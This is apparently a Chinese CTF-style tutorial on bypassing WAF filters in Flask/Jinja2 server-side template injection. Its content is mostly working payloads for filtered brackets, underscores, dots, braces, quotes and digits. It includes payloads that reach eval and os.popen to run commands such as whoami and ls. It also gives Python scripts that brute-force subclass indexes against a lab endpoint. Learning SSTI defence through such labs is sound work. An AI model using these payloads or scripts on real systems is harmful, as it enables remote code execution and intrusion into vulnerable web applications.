1、过滤了中括号
如下,我们可以正常读取object的所有子类
但是当我们尝试利用某个子类时,发现存在WAF,这里是中括号被过滤了
我们使用.pop() 函数来进行绕过
构造payload:
{{''.__class__.__base__.__subclasses__().pop(xx)}}
回显成功
用到脚本上同理
使用之前的脚本我们发现都被过滤了
简单修改后,便适用于中括号被过滤了的情况,这里是爆类的位置
关于爆函数位置各位可以参考我前面博客http://t.csdn.cn/7Ffkm给的脚本进行修改即可
import html import requests url='http://1.14.110.159:18080/flasklab/level/4' def find_class_num(): for i in range(500): parm_name='code' parm_value = "{{''.__class__.__base__.__subclasses__().pop(" + str(i) +")}}" data = {parm_name:parm_value} print(data) re = requests.post(url,data=data).text htmltest =html.unescape(re) print(htmltest) if '_frozen_importlib_external.FileLoader' in re: print(i) return i find_class_num()
(当然并不通用,具体还是要看题目环境)
这里我们爆出存在 _frozen_importlib_external.FileLoader类,关于利用也请参考前面的博客
2、过滤了双下划线
利用request.args(或者request.values)进行绕过
request.args是flask中的一个属性,为返回请求的参数,这里把class当作变量名,再将“__class__“”传给class即可
3、过滤了单下划线
使用dir(0)[0][0]或request['args']或request['values']进行绕过
4、过滤了点
我们可以利用 |attr 写成这种格式
{{''|attr('__class__')}}
也可写成这种
{{''['__class__']}}
5、过滤了大括号
使用{%%}来进行判断
eg:
{%if 2>1%}success{%endif%}
返回success说明执行成功,我们便可基于if语句构造payload
{% if ''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}
相关脚本
import requests url = "http://1.14.110.159:18080/flasklab/level/2" for i in range(500): data = { "code": "{% if ''.__class__.__base__.__subclasses__()[" + str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}" }#传入的参数,根据事实情况更改参数的名称 try: re = requests.post(url=url,params=data).text if 'success' in re: print(re) print(i,data["code"]) break except: pass
找到payload后,使用{%print()%}进行回显
{%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()'))%} {%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['popen']('ls').read())%}
6、过滤了引号
同样也可以利用request.args属性进行绕过
7、过滤了数字
我们可以利用set 配合length设置一个变量等于某个数值
{% set a='aaaaaaa'|length%}{{a*a}}
在我们后面选择所要使用的子类位置时同样适用
{% set a='aaaaa'|length*'aaaa'|length%}{{a}}{{''.__class__.__base__.__subclasses__()[a]}}
当然这些都只是一些简单和常见的,实际题目中一般是混合过滤,而且还可能会禁用一些东西,
但是这些基础的东西和操作我们还是需要知道的。